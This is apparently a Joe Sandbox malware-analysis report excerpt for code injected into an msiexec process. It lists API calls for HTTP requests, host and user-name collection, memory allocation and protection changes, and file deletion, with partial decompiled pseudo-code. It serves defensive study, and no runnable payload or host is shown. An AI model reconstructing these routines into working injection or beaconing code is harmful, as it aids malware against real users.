0x003903c3
0x003903c7
0x003903ca
0x003903d2
0x003903fa
0x003903fd
0x00390402
0x00390406
0x0039040c
0x00390413
0x00390416
0x0039041d
0x00390427
0x00390427
0x0039042d
0x00390510
0x00390433
0x00390441
0x00390448
0x00390450
0x00390455
0x0039045a
0x0039046d
0x00000000
0x00000000
0x0039046f
0x00390482
0x00390488
0x0039048d
0x0039048f
0x00390497
0x00000000
0x00000000
0x00000000
0x00390497
0x0039049f
0x003904b2
0x003904b7
0x003904bd
0x003904bf
0x003904c2
0x003904c2
0x003904d7
0x003904e9
0x003904eb
0x003904f5
0x00390507
0x0039050a
0x003904f7
0x003904f7
0x003904f7
0x003904f5
0x00000000
0x0039042d

APIs

InternetOpenA.WININET ref: 00390224
InternetConnectA.WININET ref: 0039028F
HttpOpenRequestA.WININET ref: 00390306
HttpSendRequestA.WININET ref: 0039040C

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 0039A410, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 16%

			E0039A410(intOrPtr __ecx, void* __eflags, long long __rax, intOrPtr _a8) {
				char _v24;
				void* _v32;
				void* _v40;
				char _v48;
				long long _v56;
				long long _v64;
				void* _v72;
				long long _v80;
				signed char _v84;
				signed int _v88;
				long long _v96;
				signed char _v104;
				intOrPtr _v120;
				void* _t48;
				int _t59;
				long long _t72;
				long long _t74;

				_t72 = __rax;
				_a8 = __ecx;
				_v64 = __rax;
				E0038B3B0(E0038B3E0( &_v48, 0x39de88), _t72);
				_v72 =  *0x00382283 - 0x4815a4ec;
				 *_v72();
				_v56 = 0x3921b0;
				r9d = 1;
				r8d = 0;
				_t74 = _v56;
				_t48 =  *_t74();
				_v80 = _t74;
				E0038B3C0(_t48,  &_v48);
				if(_v80 != 0) {
					r9d = 4;
					r8d = 0x3000;
					VirtualAlloc(??, ??, ??, ??); // executed
					_v96 =  *0x003827D3 - 0xb1f547c;
					r8d = 0x50;
					 *0x0038FE50();
					E0038B3B0(E0038B3E0( &_v24, 0x39de88), 0x39de88);
					_v40 =  *((intOrPtr*)(0x382283)) - 0x4815a4ec;
					 *_v40();
					_v32 = 0x39a1a0;
					_v120 = 5;
					if( *_v32() != 0) {
						_v88 = 0;
					} else {
						_v88 = 1;
					}
					_v104 = _v88 & 0x000000ff;
					E0038B3C0(_v88 & 0x000000ff,  &_v24);
					if((_v104 & 0x000000ff) == 0) {
						_v84 = 0;
						r8d = 0x20;
						_t59 = VirtualProtect(??, ??, ??, ??); // executed
						return _t59;
					} else {
						r8d = 0x4000;
						 *((long long*)( *0x003826E3 + 0x3e2fbb))();
						r8d = 0x8000;
						 *((long long*)( *((intOrPtr*)(0x3826e3)) + 0x3e2fbb))();
						return 0;
					}
				}
				return 0;
			}

0x0039a410
0x0039a410
0x0039a422
0x0039a445
0x0039a458
0x0039a465
0x0039a475
0x0039a47a
0x0039a480
0x0039a48b
0x0039a490
0x0039a492
0x0039a49c
0x0039a4a7
0x0039a4bd
0x0039a4c3
0x0039a4d0
0x0039a4d2
0x0039a4e4
0x0039a4f4
0x0039a516
0x0039a529
0x0039a536
0x0039a546
0x0039a54b
0x0039a570
0x0039a57c
0x0039a572
0x0039a572
0x0039a572
0x0039a589
0x0039a595
0x0039a5a1
0x0039a5df
0x0039a5f9
0x0039a609
0x00000000
0x0039a5a3
0x0039a5b0
0x0039a5bd
0x0039a5cc
0x0039a5d9
0x00000000
0x0039a5db
0x0039a5a1
0x00000000

APIs

VirtualAlloc.KERNELBASE ref: 0039A4D0
VirtualProtect.KERNELBASE ref: 0039A609

Strings

ntdll.dll, xrefs: 0039A560

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 0038B040, Relevance: 4.7, APIs: 3, Instructions: 200

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExW.KERNELBASE ref: 0038B115
GetComputerNameW.KERNEL32 ref: 0038B16D
GetUserNameW.ADVAPI32 ref: 0038B1AB

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 00398310, Relevance: 4.5, APIs: 3, Instructions: 26
sleep

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE ref: 0039832B
Sleep.KERNELBASE ref: 00398349
DeleteFileW.KERNELBASE ref: 0039834E

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 00399660, Relevance: 3.1, APIs: 2, Instructions: 74
thread

Control-flow Graph

Executed
Not Executed

APIs

ConvertThreadToFiber.KERNEL32 ref: 0039969A
CreateFiber.KERNEL32 ref: 00399739

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 0038F0E0, Relevance: 3.0, APIs: 2, Instructions: 47file

APIs

CreateFileMappingA.KERNEL32 ref: 0038F140
MapViewOfFile.KERNEL32 ref: 0038F16D

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 00398650, Relevance: 3.0, APIs: 2, Instructions: 22sleep

APIs

GetNativeSystemInfo.KERNEL32 ref: 00398682
Sleep.KERNELBASE ref: 00398696

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 0038F1A0, Relevance: 1.5, APIs: 1, Instructions: 36

APIs

CreateFileW.KERNEL32 ref: 0038F1D9

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 0038FCB0, Relevance: 1.5, APIs: 1, Instructions: 32

APIs

RtlAllocateHeap.NTDLL ref: 0038FD09

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 00386231, Relevance: 1.5, APIs: 1, Instructions: 24
library

C-Code - Quality: 100%

			E00386231(void* _a8) {
				struct HINSTANCE__* _t2;
				long _t11;
				void* _t14;
				CHAR* _t21;

				if( *0x3a1718 == 0) {
					 *0x003860FD();
				}
				_t2 = LoadLibraryExA(_t21, _t14, _t11); // executed
				return _t2;
			}

0x00386241
0x00386250
0x00386250
0x00386271
0x0038627c

APIs

LoadLibraryExA.KERNELBASE ref: 00386271

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 0038FC70, Relevance: 1.5, APIs: 1, Instructions: 12

APIs

HeapCreate.KERNELBASE ref: 0038FC8B

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 0039A1A0, Relevance: 1.4, APIs: 1, Instructions: 136

C-Code - Quality: 42%

			E0039A1A0(void* __edi, void* __esp, long long __rcx, long long __rdx, long long __r8, long long __r9, long long _a8, long long _a16, long long _a24, long long _a32) {
				void* _v16;
				void* _v546;
				short _v548;
				long long _v560;
				void* _v568;
				void* _v576;
				long long _v584;
				long long _v592;
				long long _v600;
				signed int _v608;
				signed int _v616;
				void* _t91;
				void* _t111;
				signed long long _t128;

				_t111 = __edi;
				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v592 = _a24 - _a16;
				_v560 = _a16;
				_v600 = _a16 +  *((intOrPtr*)(_v560 + 0x3c));
				_t128 = _v600 + _v600 + 0x18;
				_v608 = _t128;
				_v584 = 0;
				_v616 = 0;
				while((_v616 & 0x0000ffff) < ( *(_v600 + 6) & 0x0000ffff)) {
					_t128 = _t128 * 0x28;
					if(_v592 < _t128) {
						L6:
						_v616 = (_v616 & 0x0000ffff) + 1;
						continue;
					} else {
						_t128 = _t128 * 0x28;
						if(_v592 > _t128) {
							goto L6;
						} else {
							_v584 = _t128 * 0x28 + _v592 - _v608 * 0x28;
						}
					}
					break;
				}
				if(_v584 != 0) {
					_v576 = 0;
					memset(_t111, 0, 8 << 0);
					_v548 = 0;
					memset(_t111 + 8, 0, 0x208 << 0);
					 *((long long*)( *0x00382533 + 0x243d4b))();
					 *0x00390D00();
					 *((long long*)(0x390d00))();
					if( *0x0038F270() != 0) {
						_v576 = 0x38fe50;
						r8d = _a16;
						 *_v576();
						if(_v600 != 0) {
							HeapFree(); // executed
						}
						_v600 = 0;
						_v592 = 0;
						_t91 = 1;
					} else {
						_t91 = 0;
					}
				} else {
					_t91 = 0;
				}
				return _t91;
			}

0x0039a1a0
0x0039a1a0
0x0039a1a5
0x0039a1aa
0x0039a1af
0x0039a1d2
0x0039a1df
0x0039a1fb
0x0039a20e
0x0039a213
0x0039a218
0x0039a223
0x0039a237
0x0039a252
0x0039a264
0x0039a2cc
0x0039a232
0x00000000
0x0039a266
0x0039a26b
0x0039a291
0x00000000
0x0039a293
0x0039a2c5
0x0039a2c5
0x0039a291
0x00000000
0x0039a264
0x0039a2d7
0x0039a2e0
0x0039a2f8
0x0039a2fc
0x0039a310
0x0039a329
0x0039a34b
0x0039a36e
0x0039a38b
0x0039a3b6
0x0039a3bb
0x0039a3ce
0x0039a3d6
0x0039a3ea
0x0039a3ea
0x0039a3ec
0x0039a3f5
0x0039a3fe
0x0039a38d
0x0039a38d
0x0039a38d
0x0039a2d9
0x0039a2d9
0x0039a2d9
0x0039a40b

APIs

HeapFree.KERNEL32 ref: 0039A3EA

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Non-executed Functions

Function 000000010000B674, Relevance: 311.8, APIs: 139, Strings: 38, Instructions: 2079windowregistrythread

APIs

GetVersionExW.KERNEL32 ref: 000000010000B6DF
GetCommandLineW.KERNEL32 ref: 000000010000B730
GetStdHandle.KERNEL32 ref: 000000010000B780
GetFileType.KERNEL32 ref: 000000010000B796
memset.MSVCRT ref: 000000010000B7CB
memset.MSVCRT ref: 000000010000B7E6
GlobalFree.KERNEL32 ref: 000000010000B8A9
GlobalFree.KERNEL32 ref: 000000010000B8D9
RegOpenKeyExW.ADVAPI32 ref: 000000010000B922
RegQueryValueExW.ADVAPI32 ref: 000000010000B963
GlobalAlloc.KERNEL32 ref: 000000010000B98E
GlobalFree.KERNEL32 ref: 000000010000B9BF
RegQueryValueExW.ADVAPI32 ref: 000000010000B9FE
RegCloseKey.ADVAPI32 ref: 000000010000BA0B
GlobalFree.KERNEL32 ref: 000000010000BA5E
GlobalFree.KERNEL32 ref: 000000010000BA8E
GlobalFree.KERNEL32 ref: 000000010000BAB0
GlobalFree.KERNEL32 ref: 000000010000BAE0
GlobalAlloc.KERNEL32 ref: 000000010000BB28
GlobalFree.KERNEL32 ref: 000000010000BB59
memcpy.MSVCRT ref: 000000010000BD58
CompareStringW.KERNEL32 ref: 000000010000BDE9
CompareStringW.KERNEL32 ref: 000000010000BE23
CompareStringW.KERNEL32 ref: 000000010000BF04

Part of subcall function 0000000100007B8C: StringCchCopyNW.MUILOAD ref: 0000000100007C54

GlobalFree.KERNEL32 ref: 000000010000C0A9
GlobalFree.KERNEL32 ref: 000000010000C0D9
memset.MSVCRT ref: 000000010000C189

Part of subcall function 000000010000B398: IsCharAlphaNumericW.USER32 ref: 000000010000B3C6
Part of subcall function 000000010000B398: GlobalFree.KERNEL32 ref: 000000010000B4B6
Part of subcall function 000000010000B398: GlobalAlloc.KERNEL32 ref: 000000010000B4DF
Part of subcall function 000000010000B398: StringCchCopyNW.MUILOAD ref: 000000010000B505

lstrlenW.KERNEL32 ref: 000000010000C1D9

Part of subcall function 000000010000F00C: GlobalAlloc.KERNEL32 ref: 000000010000F034
Part of subcall function 000000010000F00C: GlobalFree.KERNEL32 ref: 000000010000F07B

GlobalFree.KERNEL32 ref: 000000010000C286
lstrlenW.KERNEL32 ref: 000000010000C34C
GlobalAlloc.KERNEL32 ref: 000000010000C365
GlobalFree.KERNEL32 ref: 000000010000C398

Part of subcall function 000000010000B2C8: memcpy.MSVCRT ref: 000000010000B34D

Part of subcall function 000000010000B620: GetVersion.KERNEL32 ref: 000000010000B624
Part of subcall function 000000010000B620: GetModuleHandleW.KERNEL32 ref: 000000010000B63B
Part of subcall function 000000010000B620: GetProcAddress.KERNEL32 ref: 000000010000B650

Part of subcall function 0000000100007CFC: GlobalAlloc.KERNEL32 ref: 0000000100007D60
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100007D89
Part of subcall function 0000000100007CFC: GlobalAlloc.KERNEL32 ref: 0000000100007DAB
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100007DCC
Part of subcall function 0000000100007CFC: #197.MSI ref: 0000000100007DFA
Part of subcall function 0000000100007CFC: GlobalAlloc.KERNEL32 ref: 0000000100007E1F
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100007E43
Part of subcall function 0000000100007CFC: GetModuleFileNameW.KERNEL32 ref: 0000000100007E63
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100007E78
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100007E9A
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100007EBF
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100007F1A
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100007F3C
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100007F61
Part of subcall function 0000000100007CFC: GlobalAlloc.KERNEL32 ref: 0000000100007F94
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100007FCC
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100008054
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 000000010000807C
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 000000010000809E
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 00000001000080C3
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 00000001000080E4
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 000000010000810C
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 000000010000812E
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100008153
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 00000001000081B5
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 00000001000081DD
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 00000001000081FF
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100008224
Part of subcall function 0000000100007CFC: #280.MSI ref: 000000010000828D
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 00000001000082A3
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 00000001000082CB
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 00000001000082ED
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100008312
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100008326
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 000000010000834E
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100008370
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100008395
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 00000001000083B0
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 00000001000083D2
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 00000001000083F7
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 000000010000840F
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100008434

GlobalFree.KERNEL32 ref: 000000010000C73F
GlobalFree.KERNEL32 ref: 000000010000C780
GlobalFree.KERNEL32 ref: 000000010000C7B3
GlobalFree.KERNEL32 ref: 000000010000C8B6
GlobalFree.KERNEL32 ref: 000000010000C8E9
CoInitialize.OLE32 ref: 000000010000C99A

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

CoRegisterClassObject.OLE32 ref: 000000010000C9ED
GlobalFree.KERNEL32 ref: 000000010000CACA
GlobalFree.KERNEL32 ref: 000000010000CAFD
GetCurrentThread.KERNEL32 ref: 000000010000CB41
OpenThreadToken.ADVAPI32 ref: 000000010000CB59
GetLastError.KERNEL32 ref: 000000010000CB6C
RevertToSelf.ADVAPI32 ref: 000000010000CB82
RegCloseKey.ADVAPI32 ref: 000000010000CB92
RegEnumKeyW.ADVAPI32 ref: 000000010000CBA3
RevertToSelf.ADVAPI32 ref: 000000010000CBAE
GetCurrentProcess.KERNEL32 ref: 000000010000CBB9
OpenProcessToken.ADVAPI32 ref: 000000010000CBCD

Part of subcall function 0000000100005350: AllocateAndInitializeSid.ADVAPI32 ref: 00000001000053C2
Part of subcall function 0000000100005350: GetLastError.KERNEL32 ref: 00000001000053CC
Part of subcall function 0000000100005350: GetLengthSid.ADVAPI32 ref: 00000001000053D9
Part of subcall function 0000000100005350: FreeSid.ADVAPI32 ref: 00000001000053F0
Part of subcall function 0000000100005350: GetLengthSid.ADVAPI32 ref: 00000001000053FD
Part of subcall function 0000000100005350: memcpy.MSVCRT ref: 0000000100005415
Part of subcall function 0000000100005350: FreeSid.ADVAPI32 ref: 000000010000542E

OpenEventW.KERNEL32 ref: 000000010000CC45
WaitForSingleObject.KERNEL32 ref: 000000010000CC67
CloseHandle.KERNEL32 ref: 000000010000CC72
GetTokenInformation.ADVAPI32 ref: 000000010000CCC3
EqualSid.ADVAPI32 ref: 000000010000CCD9
CloseHandle.KERNEL32 ref: 000000010000CCF0
GetLastError.KERNEL32 ref: 000000010000CCFD
memset.MSVCRT ref: 000000010000CD1E

Part of subcall function 0000000100004F60: _vsnwprintf.MSVCRT ref: 0000000100004F9E

GlobalFree.KERNEL32 ref: 000000010000CD92

Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005578
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 00000001000055B1
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000055C9
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005603
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000561E
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005660
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000567B
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 00000001000056B8
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000056D3
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005710
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005751
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000576D
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005787
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 00000001000057C0
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000057D8
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005812
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005829
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 000000010000586B
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005882
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000589E
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000058B8
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 00000001000058F2
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005906
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005945
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005963
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000597F
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005999
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 00000001000059D3
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000059EB
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005A2A
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005A41
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005A7D
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005AA8
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005AC4
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005ADE
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005B18
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005B2C
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005B6B
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005B98
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005BB4
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005BCE
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005C07
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005C1F
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005C59
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005C70
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005CB2
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005CCC
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005CE8
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005D02
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005D3C
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005D54
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005D8D
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005DA4
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005DE6
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005E0F
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005E2B
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005E45
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005E7E
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005E96
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005ED0
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005EEB
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005F2D
Part of subcall function 0000000100005460: GetLengthSid.ADVAPI32 ref: 0000000100005F84
Part of subcall function 0000000100005460: memset.MSVCRT ref: 0000000100005FAE
Part of subcall function 0000000100005460: GlobalAlloc.KERNEL32 ref: 0000000100005FD8
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100006010
Part of subcall function 0000000100005460: InitializeAcl.ADVAPI32 ref: 0000000100006030
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 000000010000603A
Part of subcall function 0000000100005460: GlobalFree.KERNEL32 ref: 000000010000605C
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100006076
Part of subcall function 0000000100005460: AddAccessAllowedAce.ADVAPI32 ref: 00000001000060AB
Part of subcall function 0000000100005460: GetAce.ADVAPI32 ref: 00000001000060CC
Part of subcall function 0000000100005460: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000100006104
Part of subcall function 0000000100005460: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000100006129
Part of subcall function 0000000100005460: SetSecurityDescriptorOwner.ADVAPI32 ref: 0000000100006145
Part of subcall function 0000000100005460: SetSecurityDescriptorGroup.ADVAPI32 ref: 0000000100006166
Part of subcall function 0000000100005460: GetSecurityDescriptorLength.ADVAPI32 ref: 000000010000617C
Part of subcall function 0000000100005460: GlobalFree.KERNEL32 ref: 00000001000061A5
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000061BF
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 00000001000061D4
Part of subcall function 0000000100005460: GlobalFree.KERNEL32 ref: 00000001000061F6
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100006210
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100006220
Part of subcall function 0000000100005460: GlobalFree.KERNEL32 ref: 0000000100006242
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000625C
Part of subcall function 0000000100005460: MakeSelfRelativeSD.ADVAPI32 ref: 000000010000627F
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 000000010000628D
Part of subcall function 0000000100005460: GlobalFree.KERNEL32 ref: 00000001000062AF
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000062C9
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 00000001000062D6
Part of subcall function 0000000100005460: GlobalFree.KERNEL32 ref: 00000001000062F8
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100006312
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 000000010000631F
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000633B

CloseHandle.KERNEL32 ref: 000000010000CE09
GlobalFree.KERNEL32 ref: 000000010000CE24
GlobalAlloc.KERNEL32 ref: 000000010000CE75
memset.MSVCRT ref: 000000010000CEA6
GlobalAlloc.KERNEL32 ref: 000000010000CECB
memset.MSVCRT ref: 000000010000CEF5
GlobalAlloc.KERNEL32 ref: 000000010000CF22
memset.MSVCRT ref: 000000010000CF4C
GlobalAlloc.KERNEL32 ref: 000000010000CF79
memset.MSVCRT ref: 000000010000CFA6
GlobalAlloc.KERNEL32 ref: 000000010000CFD3
memset.MSVCRT ref: 000000010000D005
MakeAbsoluteSD.ADVAPI32 ref: 000000010000D085
GetLastError.KERNEL32 ref: 000000010000D094
CloseHandle.KERNEL32 ref: 000000010000D0AA
GlobalFree.KERNEL32 ref: 000000010000D0C6
GlobalFree.KERNEL32 ref: 000000010000D0E2
GlobalFree.KERNEL32 ref: 000000010000D0FE
GlobalFree.KERNEL32 ref: 000000010000D11A
GlobalFree.KERNEL32 ref: 000000010000D13E
CloseHandle.KERNEL32 ref: 000000010000D198
GlobalFree.KERNEL32 ref: 000000010000D1C2
GlobalFree.KERNEL32 ref: 000000010000D1DE
GlobalFree.KERNEL32 ref: 000000010000D1FA
GlobalFree.KERNEL32 ref: 000000010000D216
GlobalFree.KERNEL32 ref: 000000010000D23A
CreateEventW.KERNEL32 ref: 000000010000D251
CloseHandle.KERNEL32 ref: 000000010000D271
CreateEventW.KERNEL32 ref: 000000010000D286
CloseHandle.KERNEL32 ref: 000000010000D2A8
GlobalFree.KERNEL32 ref: 000000010000D2C9
GlobalFree.KERNEL32 ref: 000000010000D2E5
GlobalFree.KERNEL32 ref: 000000010000D301
GlobalFree.KERNEL32 ref: 000000010000D31D

Part of subcall function 000000010000B540: memset.MSVCRT ref: 000000010000B59D

CloseHandle.KERNEL32 ref: 000000010000D36A
LoadLibraryW.KERNEL32 ref: 000000010000D3D5
GetProcAddress.KERNEL32 ref: 000000010000D3F5
CloseHandle.KERNEL32 ref: 000000010000D510
OpenProcess.KERNEL32 ref: 000000010000D542
CloseHandle.KERNEL32 ref: 000000010000D564
GetLastError.KERNEL32 ref: 000000010000D56A
